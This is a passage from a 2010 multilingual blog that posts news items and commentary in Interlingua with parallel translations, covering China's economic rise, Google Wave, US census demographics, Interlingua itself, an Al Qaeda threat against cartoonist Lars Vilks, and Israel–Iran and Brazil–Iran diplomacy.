in Russia, dedicated $30 billion to mining companies in Australia, and offered tens of billions of dollars to various companies in South America and in southeast and Central Asia, assuring itself of access to their minerals in the future. Last September, China extended lines of credit of up to $60 to $70 billion dollars to develop the natural resources of Nigeria, Ghana, and Kenya.\nThe importance of the gigantic Chinese market has also grown. The number of automobile sales in China in April, 2009, has passed the number of cars sold in the United States.\nIn May, Wan Qishan and a team of Chinese ministers met with a group of ministers and American businessmen in Brussels to hear their complaints about the difficulties of access that they have with the Chinese market.\n\"I understand your problems,\" said Mr. Wang after hearing their complaints. \"I understand that there are irregularities in the Chinese market. But the Chinese market has an irresistible importance in the world, and you will have to accept it the way it is.\"\nThe ascent of China is a phenomenon with the capacity to considerably modify the world economy, sector by sector. That the country is controlled by a communist party comes as a shock to the Western world, which a few short years ago believed that the end of history had arrived with the triumph of liberal democracy.\nIn the absence of democratic elections and open political debates, it is impossible to evaluate popular support for China's communist party. But it is rather obvious that social support for the party has grown with the reforms inaugurated after the death of Mao. And though the leaders of China want to imitate the structure and methods of economic control of Europe and America, they obviously don't want to change their society in directions that imitate the democratic and social progress that Europe and the United States have made after the Second World War. And it seems probable that they are going to continue to control the destiny of the country indefinitely in the future.\nPosted by hkyson at 8:48 PM\nWednesday, May 19, 2010\n(Languages of this post: Interlingua, English)\nGoogle Wave es un nove systema integrate disveloppate per Google que ha multe possibilitates pro interlinguistas qui vole usar lo pro promover le uso del lingua e disveloppar su capacitates de expression.\nUn gruppo de informaticos de Google comenciava a disveloppar Google Wave ante un pauco plus que un anno in Sydney, Australia. Le systema es assatis nove, e, secundo lo que io comprende, un invitation es necesse pro participar in le systema in iste momento, ma il es assatis facile obtener un tal invitation.\nLe systema es nunc assatis disveloppate que un gruppo de usatores de Google Wave ha publicate un manual pro su uso, \"The Complete Guide to Google Wave\", disponibile a [http:\/\/wwwcompletewaveguide.com].\nIste publication es anque disponibile in espaniol \"Guía complete a Google Wave\" e francese \"Le guide complete Google Wave\". Il ha anque versiones in japanese e koreano.\nIo es un membro de Google Wave, ma io non ha comenciate a usar lo. Ben que io cognosce su structura general, io totevia non cognosce le detalios necesse que on debe apprender pro usar lo efficacemente. Io recommenda tamen que on comencia a studiar iste publication proque io crede que il es ben probabile que le systema de Google Wave va a esser un importante maniera de crear equipas de collaboratores in le futuro pro un grande diversitate de projectos.\n---\nGoogle Wave is a new integrated system developed by Google that has many possibilities for Interlinguists who want to use it to promote the use of the language and develop its expressive capabilities.\nA group of computer engineers from Google started developing Google Wave a little more than a year ago in Sydney, Australia. The system is rather new, and, according to what I understand, an invitation is needed to participate in the system at this moment, but it is rather easy to get such an invitation.\nThe system is now sufficiently developed that a group of Google Wave users has published a manual for its use, \"The Complete Guide to Google Wave,\" available at [http:\/\/wwwcompletewaveguide.com].\nThis publication is also available in Spanish, \"Guía complete a Google Wave,\" and French, \"Le guide complet Google Wave.\" There are also versions in Japanese and Korean.\nI am a member of Google Wave, but I haven't started to use it. Though I know its general structure, I still do not know the necessary details that must be learned to use it effectively. I recommend, however, that people start studying this publication because I believe that it is quite probable that the Google Wave system is going to be an important way of creating teams of collaborators in the future for a great variety of projects.\nPosted by hkyson at 1:44 AM\nTuesday, May 18, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nUn studio publicate per le Instituto Brookings, in Washington, offere un vista preliminar del Censo de 2010 e revela le profunde cambios suffrite per le population american in le ultime decada.\nSecundo le documento, un tertio del population del Statos Unite actualmente non es \"blanc\" (Brookings usa le phrase \"non-blanc\" pro designar hispanicos, afroamericanos, asiaticos, e representantes de altere racias).\nIste gruppos ha un dominio plus grande demographic in le Statos Unite, e in 2042, illes essera le majoritate in le pais.\nSecundo le studio, minoritates ethnic e racial esseva responsabile pro 83% del crescimento del population american in le ultime decada.\nLe population del Statos Unite attingeva 300 milliones de habitantes in 2006, e, secundo Brookings, illo debe arrivar a 350 milliones de personas quando veni 2025.\nLe immigrantes, que in 1970 representa 5% del population, hodie representa 12%.\nSecundo le reporto, subventionate per le Fundation Rockefeller, un quarto del infantes american es filios de un patre o un matre immigrante.\nIn le grande regiones metropolitan, le foco principal del studio, un in cata sex habitants nasceva foras del Statos Unite.\nLe datos anque revela que le disequalitate es grande. Secundo le reporto, 85% del adultos Hispanic e afro-american non ha diplomas universitari, un percentage ben sub illo registrate inter \"blancos\" e \"asiaticos\".\nSecundo le autores del studio, le leaders american, tanto in nivello federal como in le statos e municipios, debe de plus in plus prender in consideration ille nove profilo demographic del pais durante que illes planifica lor politicas.\n---\nOs brancos estão perdendo sua dominância demográfica nos Estados Unidos.\nUm estudo divulgado pelo Instituto Brookings, em Washington, oferece uma prévia do Censo de 2010 e revela as profundas mudanças sofridas pela população americana na última década.\nSegundo o documento, um terço da população dos Estados Unidos atualmente não é \"branca\" (o Brookings usa o termo \"não branco\" para designar hispânicos, negros, asiáticos e representantes de outras raças).\nEstes grupos têm maior domínio demográfico nos Estados Unidos, e em 2042, eles serão a maioria no país.\nDe acordo com o estudo, minorias étnicas e raciais foram responsáveis por 83% do crescimento da população americana na última década.\nA população dos Estados Unidos atingiu 300 milhões de habitantes em 2006 e, segundo o Brookings, deve chegar a 350 milhões de pessoas por volta de 2025.\nOs imigrantes, que em 1970 representavam 5% da população, hoje respondem por 12%.\nSegundo o relatório, patrocinado pela Fundação Rockefeller, um quarto das crianças americanas são filhas de pai ou mãe imigrante.\nNas grandes regiões metropolitanas, foco principal do estudo, um em cada seis habitantes nasceu fora dos Estados Unidos.\nOs dados revelam também que a desigualdade é grande. De acordo com o relatório, 85% dos adultos hispânicos e afro-americanos não têm diploma universitário, percentual bem abaixo do registrado entre \"brancos\" e asiáticos.\nSegundo os autores do estudo, os líderes americanos, tanto em nível federal quanto nos Estados e municípios, precisam cada vez mais levar em conta esse novo perfil demográfico do país na hora de planejar suas políticas.\n---\nWhites are losing their demographic dominance in the United States.\nA study released by the Brookings Institution in Washington offers a preview of the 2010 Census and shows the profound changes experienced by the U.S. population over the last decade.\nThe report said one third of the U.S. population today is not \"white\" (the Brookings uses the term \"non-white\" to describe Hispanics, blacks, Asians and representatives of other races).\nThese groups have greater demographic dominance in the United States, and in 2042 they will be the majority in the country.\nAccording to the study, racial and ethnic minorities accounted for 83% of U.S. population growth over the last decade.\nThe U.S. population reached 300 million people in 2006 and, according to Brookings, should reach 350 million people by 2025.\nThe immigrants, who in 1970 represented 5% of the population, now account for 12%.\nAccording to the report, sponsored by the Rockefeller Foundation, one quarter of American children are the offspring of an immigrant parent.\nIn large metropolitan areas, the main focus of the study, one in six residents was born outside the United States.\nThe data also show that the rate of inequality is high. According to the report, 85% of adult Hispanics and african-Americans do not have college degrees, a percentage rate well below the one recorded for \"whites\" and Asians.\nAccording to the authors of the study, American leaders at both the federal and the state and municipal levels must increasingly take into account the new demographics of the country when planning their policies.\nPosted by hkyson at 9:53 PM\nSaturday, May 15, 2010\n(Languages of this post: Interlingua, Spanish, Catalan, Galician, Portuguese, French, Italian, English)\nInterlingua es un lingua auxiliar international create circa 1951 post plus que 20 annos de studios linguistic pro le International Auxiliary Language Association (IALA).\nPlus que 600 milliones de personas qui sape le anglese e le linguas romanic pote comprender iste lingua sin studio special. Illo es un lingua natural a base de un lexico international derivate del grande linguas romanic (italiano, espaniol, portugese, francese) e anglese, con referentia al germano e al russo. Su grammatica es plus simple que le grammatica anglese, e illo es multo facile de apprender de un forma active in quatro menses.\nIste lingua es un del plus grande linguas auxiliar artificial in le mundo post le esperanto e es le exemplo le plus succedite de un lingua artificial construite sur un base del vocabulario international vigente, comprensibile a omne illes qui parla un lingua romanic o, in grande mensura, le anglese.\n---\nInterlingua es una lengua auxiliar internacional creada alrededor de 1951 después de más de 20 años de estudios lingüísticos por el International Auxiliary Language Association (IALA).\nMás de 600 millones de personas que saben Inglés y las lenguas románicas pueden entender esta lengua sin estudio especial. Es un idioma natural a base de un léxico internacional derivado de las grandes lenguas románicas (italiano, español, portugués, francés) e inglés, con referencia al alemán y al ruso. Su gramática es más sencilla que la gramática inglesa, y es muy fácil de aprender de forma activa en cuatro meses.\nEsta lengua es una de las más grandes lenguas auxiliares artificiales en el mundo después del esperanto y es el ejemplo más exitoso de una lengua artificial construida del vocabulario internacional vigente, comprensible para todos los que hablan una lengua romance, o, en gran medida el inglés.\n---\nInterlingua és una llengua auxiliar internacional creada al voltant de 1951 després de més de 20 anys d'estudis lingüístics per l'International Auxiliary Language Association (IALA).\nMés de 600 milions de persones que saben anglès i les llengües romàniques poden entendre aquesta llengua sense estudi especial. És una llengua natural a base d'un lèxic internacional derivat de les grans llengües romàniques (italià, espanyol, portuguès, francès) i anglès, amb referència a l'alemany i el rus. La seva gramàtica és més senzilla que la gramàtica anglesa, i és molt fàcil d'aprendre de manera activa en quatre mesos.\nAquesta llengua és una de les més grans llengües auxiliars artificials en el món després del esperanto i és l'exemple més reeixit d'una llengua artificial construïda en el vocabulari internacional vigent, comprensible per a tots els que parlen una llengua romanç, o, en gran mesura, l'anglès.\n---\nInterlingua é unha lingua auxiliar internacional creada en 1951 despois de máis de 20 anos de estudos lingüísticos pola International Auxiliary Language Association (IALA).\nMáis de 600 millóns de persoas saben inglés e as linguas románicas poden comprender esta lingua sen estudos especiais. É unha lingua natural en base a un léxico internacional procedente das grandes linguas románicas (italiano, castelán, portugués, francés) e inglés, con referencia ao alemán e ruso. A súa gramática é máis sinxela da gramática inglesa, e é moi doada de aprender activamente en catro meses.\nEsta lingua é unha das maiores linguas auxiliares artificiais do mundo despois esperanto e é o exemplo máis exitoso dunha lingua artificial construída no vocabulario internacional existente, comprensible para todos os que falan unha lingua románica, ou, en gran parte o inglés .\n---\nInterlíngua é uma língua auxiliar internacional criada em 1951 depois de mais de 20 anos de estudos lingüísticos pela International Auxiliary Language Association (IALA).\nMais de 600 milhões de pessoas sabem Inglês e nas línguas românicas podem compreender esta língua, sem estudos especiais. É uma língua natural com base em um léxico internacional proveniente das grandes línguas românicas (Italiano, espanhol, Português, Francês) e Inglês, com referência ao alemão e russo. Sua gramática é mais simples do que a grámatica inglesa, e é muito fácil de aprender activamente em quatro meses.\nEsta língua é uma das maiores línguas auxiliares artificiais do mundo depois do Esperanto e é o exemplo mais bem sucedido de uma língua artificial construída no vocabulário internacional existente, compreensível para todos os que falam uma língua românica, ou, em grande parte o Inglês.\n---\nL'interlingua est une langue auxiliaire internationale créée autour de 1951, après plus de 20 années d'études linguistiques par the International Auxiliary Language Association (IALA).\nPlus de 600 millions de personnes qui connaissent les langues romanes et l'anglais peuvent comprendre cette langue sans étude spéciale. C'est une langue naturelle basée sur un lexique international provenant des grandes langues romanes (italien, espagnol, portugais, français) et de l'anglais, en référence à l'allemand et au russe.\nPlus de 600 millions de personnes connaissent l'anglais et les langues romanes peuvent comprendre cette langue, sans étude spéciale. Il s'agit d'une langue naturelle basée sur un lexique international provenant des langues romanes majeures (italien, espagnol, portugais, français) et de l'anglais, en référence à l'allemand et le russe. Sa grammaire est plus simple que la grammaire anglaise, et il est très facile à apprendre activement en quatre mois.\nCette langue est un des plus grandes langues auxiliairex artificielles du monde après l'espéranto et est la langue artificielle la plus réussie construite sur le vocabulaire internationale existant compréhensible à tous ceux qui parlent une langue romane ou, dans une large mesure, le « anglais.\n---\nL'interlingua è una lingua ausiliaria internazionale nata attorno al 1951 dopo più di 20 anni di studi linguistici ad opera della International Auxiliary Language Association (IALA).\nPiù di 600 milioni di persone conoscono l'inglese e le lingue romanze sono in grado di comprendere questa lingua senza studio speciale. Si tratta di un lingua naturale basato su un lessico internazionale derivato dalle principali lingue romanze (italiano, spagnolo, portoghese, francese) e dall'inglese, con riferimento al tedesco e russo. La sua grammatica è più semplice della grammatica inglese, ed è molto facile da imparare attivamente in quattro mesi.\nQuesta lingua è una delle più grandi lingue artificiali ausiliarie al mondo dopo l'esperanto ed è l'esempio più riuscito di lingua artificiale strutturata su un lessico già internazionale, comprensibile a tutti coloro che parlano una lingua romanza o, in larga misura, l'inglese.\n---\nInterlingua is an international auxiliary language created around 1951 after more than twenty years of language studies by the International Auxiliary Language Association (IALA).\nMore than 600 million people who know English and the Romance languages can understand this language without special study. It is a natural language based on an international vocabulary derived from the great Romance languages (Italian, Spanish, Portuguese, French) and English, with reference to German and Russian. Its grammar is simpler than English grammar, and it is very easy to learn actively in four months.\nThis language is one of the largest artificial auxiliary languages in the world after Esperanto and is the most successful example of an artificial language constructed from the living international vocabulary, understandable to everyone who speaks a Romance language or English, to a large extent.\nPosted by hkyson at 2:06 PM\nAl Qaeda offere un recompensa pro le morte del caricaturista svedese Lars Vilks, qui designava le capite de Mohammed sur le corpore de un can.\n(Languages of this post: Interlingua, Portuguese, English)\nAl Qaeda in Iraq offereva US$100.000 pro le assassination del caricaturista svedese Lars Vilks, qui publicava un caricatura in le qual le capite del propheta Mohammed appare sur le corpore de un can. Secundo le offerta annunciate in audio in Internet, le recompensa augmentara per $50.000 si le morte es violente.\nLe autor del message, qui on crede es Abu Omar al Baghdadi, menaciava un nove offensiva durante le mense sacrate de Ramadan.\nDiverse paises musulman protestava post le publication del caricatura le mense passate.\nAltere caricaturas monstrante le propheta Mohammed publicate in Danmark in 2005 provocava un serie de protestas violente in le passato.\nLe musulmanes considera ulle representation visual del propheta como un blasphemia. Multe musulmanes anque considera le can como un animal impur.\nLe ultime caricatura esseva publicate per le jornal \"Nerikes Allehanda\" le 18 de augusto.\nDurante le septimana passate, le prime ministro svedese, Fredrik Reinfeldt, se reuniva con ambassatores de 22 paises musulman in un tentativa de calmar animos.\nMa secundo le message distribuite iste sabato, le militantes sta a annunciar \"un appello pro le sanguine de Lars, qui osava insultar nostre Propheta\".\nAnque esseva offerite un recompensa de US$50.000 pro le morte del redactor del jornal.\nLe message anque exige que le governamento svedese demanda excusas. Si illo non los offere, Al Qaeda in Iraq va a lancear attaccos contra companias svedese, como Ericsson, Volvo, Ikea, e Skania.\nLe caricaturista, Lars Vilks, diceva al agentia de novas Reuters que ille non se preoccupa con le menacias de personas qui representa \"un parve minoritate del musulmanes\". Ma ille diceva que ille non los ignora completemente e que ille se trova in contacto con le policia.\n---\nAl Qaeda oferece recompensa por morte do cartunista sueco Lars Vilks, que desenhou a cabeça de Maomé em um cão.\nAl Qaeda no Iraque ofereceu US $100.000 para o assassinato do cartunista sueco Lars Vilks, que publicou uma charge em que a cabeça do Profeta Maomé aparece sobre o corpo de um cachorro. Segundo a oferta divulgada em áudio na internet, a recompensa aumentará em US$50,000 se a morte for violenta.\nO autor da mensagem, que acredita-se ser Abu Omar al-Baghdadi, ameaçou uma nova ofensiva durante o mês sagrado do Ramadã.\nVários países muçulmanos protestaram depois da publicação da charge, no mês passado.\nOutras charges mostrando o Profeta Maomé, publicadas na Dinamarca em 2005, provocaram uma série de violentos protestos no ano passado.\nOs muçulmanos consideram qualquer representação visual do Profeta como blasfêmia. Muitos muçulmanos também consideram o cachorro um animal impuro.\nA última charge foi publicada pelo jornal \"Nerikes Allehanda\" em 18 de agosto.\nNa semana passada, o primeiro-ministro sueco, Fredrik Reinfeldt, se reuniu com embaixadores de 22 países muçulmanos em uma tentativa de acalmar os ânimos.\nMas segundo a mensagem divulgada neste sábado, os militantes estão anunciando \"um chamado pelo sangue de Lars, que ousou insultar nosso Profeta\".\nTambém foi oferecida uma recompensa de US$50.000 pela morte do editor do jornal.\nA mensagem ainda exige que o governo sueco peça desculpas, caso contrário, a al-Qaeda no Iraque vai lançar ataques contra empresas suecas, como a Ericsson, Volvo, Ikea e Skania.\nO cartunista, Lars Vilks, disse à agência de notícias Reuters que não está preocupado com as ameaças de quem representa \"uma pequena minoria dos muçulmanos\". Mas ele disse que não as ignora totalmente, e que está em contato com a polícia.\n---\nAl Qaeda offers reward for death of the Swedish cartoonist Lars Vilks, who drew the head of Mohammed on a dog.\nAl Qaeda in Iraq offered $100,000 for the assassination of the Swedish Cartoonist Lars Vilks, who published a cartoon in which the head of the Prophet Muhammad appears on the body of a dog. Under the offer announced in audio on the Internet, the reward will increase by $50,000 if the death is violent.\nThe author of the message, which is believed to be Abu Omar al-Baghdadi, threatened a fresh offensive during the holy month of Ramadan.\nSeveral Muslim countries protested after the publication of the cartoon last month.\nOther cartoons depicting the Prophet Mohammed published in Denmark in 2005 provoked a series of violent protests last year.\nMuslims regard any visual representation of the Prophet as blasphemous. Many Muslims also regard the dog as an impure animal.\nThe latest cartoon was published by the newspaper \"Nerikes Allehanda\" on August 18.\nLast week, the Swedish Prime Minister Fredrik Reinfeldt met ambassadors from twenty-two Muslim countries in an attempt to calm fears.\nBut according to the message released on Saturday, the militants were announcing an \"appeal for the blood of Lars, who dared insult our Prophet.\"\nA reward of $50,000 was also offered for the death of the editor of the newspaper.\nThe message also requires that the Swedish government apologize, otherwise al-Qaeda in Iraq will launch attacks against Swedish companies such as Ericsson, Volvo, Ikea, and Skåne.\nThe cartoonist, Lars Vilks, told the Reuters news agency that he is not worried about the threats from people representing \"a small minority of Muslims.\" But he said he would not completely ignore them and is in contact with the police.\nPosted by hkyson at 9:49 AM\nThursday, May 13, 2010\n(Languages of this post: Interlingua, Portuguese, English)\nLe vice prime ministro de Israel, Moshe Yaalon, affirmava que, in caso de guerra, le Fortia Aeree israeli ha le capacitate pro attaccar un pais distante como Iran.\nYaalon, qui anque es ministro pro Affaires Strategic, faceva le pronunciamento, considerate sin precedentes, durante un coferentia sur le defias del Fortia Aeree Israeli in le proxime decadas.\n\"Il non ha dubita que le capacitate technologic del Fortia Aeree Israeli meliorava in le ultime annos, augmentante le distantia e le possibilitates de provision de combustibile in le aere\", affirmava Yaalon. \"Le technologia generava un melioramento dramatic de exactitude del armamento e del capacitate de intelligentia. Nos pote utilisar ille capacitate del Fortia Aeree in le guerra contra le terror in Gaza, in le guerra contra le rochettas in Libano, in le guerra contra le Armea syrie, e anque in le guerra contra un pais distante como Iran.\nIllo esseva le prime vice que Yaalon utilisava le parola \"guerra\" in le contexto de Iran.\nLeaders Israeli jam ha mentionate le possibilitate de un attacco contra Iran, ma nunquam in un language tan directe.\nLe prime ministro, Benjamin Netanyahu, affirmava que Iran stava a preparar a committer un \"secunde Holocausto\" e insisteva que on \"debe usar omne le medios pro impedir que illo occurre\".\nLe ministro del Defensa, Ehud Barak, jam diceva que ille \"non rejecta ulle option pro impedir que Iran ha armamentos nuclear\", e le chef del Stato Major, general Gabi Ashkenazi, mentionava le capacitate del Fortia Aeree de attaccar \"objectivos distante\".\nLe pronunciamentos sur le possibilitate que Israel va a attaccar Iran causava le presidente american, Barack Obama, a inviar emissarios special pro convencer le governamento israeli que le melior maniera de impedir le disveloppamento de un projecto nuclear irani pro fines militar esserea pro intermedio de sanctiones.\nInter le emissarios de Obama qui veniva a Israel pro dissuadir le governamento de prender le cammino militar, le plus importante esseva le chef del CIA, Leon Panetta, e le chef del Fortias Armate american, Mike Mullen.\n---\nIsrael tem capacidade para atacar o Irã, diz o vice-primeiro-ministro do país\nO vice-primeiro-ministro de Israel, Moshe Yaalon, afirmou que, em caso de guerra, a Força Aérea israelense tem capacidade para atacar um país distante como o Irã.\nYaalon, que também é ministro para Assuntos Estratégicos, fez o pronunciamento, considerado sem precedentes, durante uma conferência sobre os desafios da Força Aérea israelense nas próximas décadas.\n\"Não há dúvida de que a capacidade tecnológica da Força Aérea israelense melhorou nos últimos anos, aumentando a distância e as possibilidades de fornecimento de combustível no ar\", afirmou Yaalon. \"A tecnologia gerou uma melhora dramática da exatidão, do armamento e da capacidade de inteligência. Podemos utilizar essa capacidade da Força Aérea na guerra contra o terror em Gaza, na guerra contra os foguetes no Líbano, na guerra contra o Exército sírio e também na guerra contra um país distante como o Irã.\"\nEssa foi a primeira vez que Yaalon utilizou o termo \"guerra\" no contexto do Irã.\nLíderes israelenses já mencionaram anteriormente a possibilidade de um ataque ao Irã, mas nunca em uma linguagem tão direta.\nO primeiro-ministro, Binyamin Netanyahu, afirmou que o Irã estaria se preparando para cometer um \"segundo Holocausto\" e insistiu que \"deve-se usar de todos os meios para impedir que isso aconteça\".\nO ministro da Defesa, Ehud Barak, já disse que \"não descarta nenhuma opção para impedir que o Irã tenha armamentos nucleares\", e o chefe do Estado Maior, general Gabi Ashkenazi, mencionou a capacidade da Força Aérea de atacar \"alvos distantes\".\nOs pronunciamentos sobre a possibilidade de que Israel venha a atacar o Irã levaram o presidente americano, Barack Obama, a enviar emissários especiais para convencer o governo israelense de que o caminho para impedir o desenvolvimento de um projeto nuclear iraniano para fins militares seria por intermédio de sanções.\nEntre os emissários de Obama que vieram a Israel para dissuadir o governo de tomar o caminho militar, os mais importantes foram o chefe da CIA, Leon Panetta, e o chefe das Forças Armadas americanas, Mike Mullen.\n---\nIsrael has the capacity to attack Iran, says the deputy prime minister of the country.\nThe deputy prime minister of Israel, Moshe Yaalon, said that in case of war, the Israeli Air Force has the ability to attack a distant country like Iran.\nYaalon, who is also minister for strategic affairs, made the statement, considered unprecedented, during a conference on the challenges of the Israeli Air Force in the coming decades.\n\"There is no doubt that the technological capacity of the Israeli Air Force has improved in recent years, increasing the distance and the possibility of fuel supply while in flight,\" Yaalon said. \"Technology has generated a dramatic improvement in weapons accuracy and intelligence capability. We can use this Air Force capacity in the war against terror in Gaza, the war against the rockets in Lebanon, the war against the Syrian army, and in a war against a distant country like Iran.\"\nThis was the first time that Yaalon used the term \"war\" in the context of Iran.\nIsraeli leaders have previously mentioned the possibility of an attack on Iran, but never in such direct language.\nThe prime minister, Benjamin Netanyahu, said that Iran was preparing to commit a \"second Holocaust\" and insisted that \"every means must be used to keep that from happening.\"\nDefense Minister Ehud Barak has said he \"does not rule out any option to keep Iran from having nuclear weapons,\" and the chief of staff, General Gabi Ashkenazi, mentioned the ability of the Air Force to attack \"distant targets.\"\nStatements about the possibility that Israel will attack Iran led the American president, Barack Obama, to send special envoys to convince the Israeli government that the way to prevent the development of an Iranian nuclear project for military purposes would be through sanctions.\nAmong Obama's emissaries who came to Israel to deter the government from taking the military path, the most important ones were the CIA chief, Leon Panetta, and the head of the U.S. Armed Forces, Mike Mullen.\nPosted by hkyson at 4:40 PM\nMonday, May 10, 2010\nLe Statos Unite, ben que sceptic, spera que le Brasil essera ben succedite in su negotiationes con Iran.\n(Languages of this post: Interlingua, Portuguese, English)\nLe Statos Unite spera que le effortios del Brasil pro ingagiar Iran in negotiationes sur su programma nuclear essera ben succedite, diceva le porta voce del Departamento de Stato american, Philip Crowley.\nIntertanto, Crowley reinfortiava le scepticismo american concernente le possibilitate que Iran cambiara su postura e accipera le interruption de su programma nuclear, como exige le Statos Unite e le altere paises.\nHillary Clinton, le secretario de stato del Statos Unite, e Celso Amorim, le ministro de relationes exterior del Brasil, se reuniva durante 20 minutas in le tarde le lunedi, durante le conferentia de revision del Tractato de Non Proliferation Nuclear (TNP), que habeva loco in New York.\nLe question nuclear iranian dominava le apertura del conferentia, con discursos punctuate per criticas e accusationes mutue per parte de Hillary e del presidente irani, Mahmoud Ahmadinejad.\nAl esser questionate sur si Hillary habeva dicite a Amorim que le Statos Unite es grate per le effortios del Brasil, Crowley diceva que su pais recognosce le tentativas positive de ingagiar Iran in le negotiationes.\n\"Certemente, nos recognosce le valor e le importantia del effortios de diverse paises pro ingagiar Iran\", diceva Crowley. \"Io crede que nos omnes sta a inviar le mesme message: que Iran debe responder al questiones del communitate international e debe responder de un maniera formal e significante al offerta que esseva mittite in le tabula in le ultime autumno in le Hemispherio Nord.\"\nBrasil e le Statos Unite ha positiones divergente sur le question nuclear irani. Le Statos Unite cerca le approbation per le Consilio de Securitate del Nationes Unite de alicun nove sanctiones contra Iran, como un maniera de portar pression sur le governamento irani a interrumper su programma de inricchimento de uranio.\nLe timor es que Iran sta a essayar a construer armas nuclear secretemente. Ille allegation es negate per le governamento irani, que dice que su programma nuclear es pacific e ha le objectivo de generar energia.\nLe Brasil, que ha un sede rotative in le Consilio de Securitate, sin derecto a veto, es contra le sanctiones e defende un solution negotiate sur le question irani.\nLe tres grupos de sanctiones anterior non esseva sufficiente grave pro facer que Iran cambia de idea.\nIste venerdi, in un interview collective in New York, Ahmadinejad diceva que le menacias de nove sanctiones non va a impeder que Iran mantene su programma nuclear.\nLe presidente irani anque diceva que su pais non intende retirar se del TNP, ma illo vole que le tractato sia reformate e deveniva un systema \"juste\".\nIn le passato, le governamento irani accusava le Statos Unite de esser le sol criminal international nuclear del mundo proque illo es le sol pais que usava armas nuclear quando illo bombardava Hiroshima e Nagasaki con duo bombas atomic pro terminar le Secunde Guerra Mundial.\n---\nOs Estados Unidos, embora cético, espera que o Brasil será bem-sucedido nas negociações com o Irão.\nOs Estados Unidos esperam que os esforços do Brasil para engajar o Irã nas negociações sobre seu programa nuclear sejam bem-sucedidos, disse o porta-voz do Departamento de Estado americano, Philip Crowley.\nNo entanto, Crowley reforçou o ceticismo americano quanto à possibilidade de o Irã mudar de postura e aceitar interromper seu programa nuclear, como exigem os Estados Unidos e outros países.\nHillary Clinton, a secretaria de estado dos Estados Unidos, e Celso Amorim, o Ministro das Relações Exteriores do Brasil, se reuniram durante 20 minutos na tarde de segunda-feira, durante a conferência de revisão do Tratado de Não-Proliferação Nuclear (TNP), realizada em Nova York.\nA questão nuclear iraniana dominou a abertura da conferência, com discursos pontuados por críticas e acusações mútuas por parte de Hillary e do presidente iraniano, Mahmoud Ahmadinejad.\nAo ser questionado sobre se Hillary havia dito a Amorim que os Estados Unidos são gratos pelos esforços do Brasil, Crowley disse que seu país reconhece as tentativas positivas de engajar o Irã nas negociações.\n\"Certamente, nós reconhecemos o valor e a importância de diversos países tentarem engajar o Irã\", disse Crowley. \"Eu acho que nós todos estamos enviando a mesma mensagem: de que o Irã tem de responder às questões da comunidade internacional e tem de responder de uma maneira formal e significativa à oferta que foi colocada na mesa no último outono no Hemisfério Norte.\"\nO Brasil e Estados Unidos têm posições divergentes sobre a questão nuclear iraniana. Os Estados Unidos buscam a aprovação pelo Conselho de Segurança das Nações Unidas de algumas novas sanções contra o Irã, como maneira de pressionar o governo iraniano a interromper seu programa de enriquecimento de urânio.\nO temor é o de que o Irã esteja tentando construir armas nucleares secretamente. Essa alegação é negada pelo governo iraniano, que diz que seu programa nuclear é pacífico e tem o objetivo de gerar energia.\nO Brasil, que tem uma vaga rotativa no Conselho de Segurança, sem direito a veto, é contra as sanções e defende uma solução negociada para a questão iraniana.\nOs três grupos anteriores de sanções não foram suficiente graves para fazer o Irã mudar de ideia.\nNesta terça-feira, em entrevista coletiva em Nova York, Ahmadinejad disse que ameaças de novas sanções não vão impedir o Irã de manter seu programa nuclear.\nO presidente iraniano disse também que seu país não pretende se retirar do TNP, mas quer que o tratado seja reformado e se torne um sistema \"justo\".\nNo passado, o governo iraniano acusou os Estados Unidos de ser o único criminoso internacional nuclear no mundo, porque é o único país que usou armas nucleares, quando bombardearam Hiroshima e Nagasaki com duas bombas atômicas para acabar com a Segunda Guerra Mundial.\n---\nThe United States, though skeptical, hopes that Brazil will be successful in its negotiations with Iran.\nThe United States hopes that Brazil's efforts to engage Iran in negotiations over its nuclear program will be successful, said the U.S. State Department spokesman Philip Crowley.\nHowever, Crowley reinforced American skepticism about the possibility for Iran to change its stance and agree to halt its nuclear program, as demanded by the United States and other countries.\nHillary Clinton, the secretary of state of the United States, and Celso Amorim, the Minister of Foreign Affairs of Brazil, met for 20 minutes On Monday afternoon during the Review Conference on the Non-Proliferation Treaty (NPT), held in New York.\nThe Iranian nuclear issue dominated the opening of the conference with speeches punctuated by criticism and accusations by Hillary Clinton and Iranian President Mahmoud Ahmadinejad.\nWhen asked if Hillary had said to Amorim that the United States is grateful for the efforts of Brazil, Crowley said his country recognizes the positive attempts to engage Iran in negotiations.\n\"Certainly, we recognize the value and importance of different countries' attempts to engage Iran,\" said Crowley. \"I think we are all sending the same message: that Iran must respond to questions from the international community and must give a a formal and meaningful answer to the offer that was placed on the table last autumn in the Northern Hemisphere.\"\nBrazil and the United States have divergent views on the Iranian nuclear issue. The United States seeks the approval of the United Nations Security Council for some new sanctions against Iran as a way to pressure the Tehran government to halt its uranium enrichment program.\nThe fear is that Iran is secretly trying to build nuclear weapons. This allegation is denied by Tehran, which says its nuclear program is peaceful and aims to generate energy.\nBrazil, which has a seat on the Security Council without veto power, is opposed to sanctions and called for a negotiated solution to the Iranian issue.\nThe three previous groups of sanctions were not strong enough to make Iran change its mind.\nOn Tuesday at a news conference in New York, Ahmadinejad said that threats of new sanctions will not stop Iran from keeping its nuclear program.\nThe Iranian president also said that his country does not intend to withdraw from the NPT but wants the treaty to be reformed and become a \"fair\" system.\nIn the past, the Tehran government has accused the United States of being the only international nuclear criminal in the world because it is the only country that used nuclear arms when it bombed Hiroshima and Nagasaki with two atomic bombs to end World War II.\nPosted by hkyson at 8:23 PM\nSunday, May 9, 2010\n(Languages of this post: Interlingua, Spanish, English)\nLe maritage del argentinos Alex Freyre e José María Di Bello non solmente ha eveliate le feritate del communitate gay del America latin ma le preoccupation e le condemnation del Ecclesia Catholic argentin, cuje autoritate moral nunc se trova multo controvertite a causa del crescente scandalos de pedophilia in le sacerdotio.\nLe criticas del Ecclesia catholic argentin al maritage gay non es nove. Concernente le debatto generate per le decision de un tribunal de Buenos Aires que decideva al favor del matrimonio de Freyre e Di Bello, le Conferentia Episcopal affirmava in un communicato que le intento de legalisar le matrimonio inter homosexuales es \"un grave injustitia in le mensura que illo essaya artificialmente a equalisar realitates human differentes\".\n---\nLa Iglesia argentina rechaza boda gay.\nEl casamiento de los argentinos Alex Freyre y José María Di Bello no sólo ha despertado el orgullo de la comunidad gay de América Latina, sino la preocupación y la condena de la Iglesia Católica argentina, cuya autoridad moral se encuentra actualmente muy controvertida debido a los crecientes escándalos de pedofilia en el sacerdocio.\nLas críticas de la Iglesia Católica argentina a las bodas gay no son nuevas. A propósito del debate generado por la decisión de un tribunal de 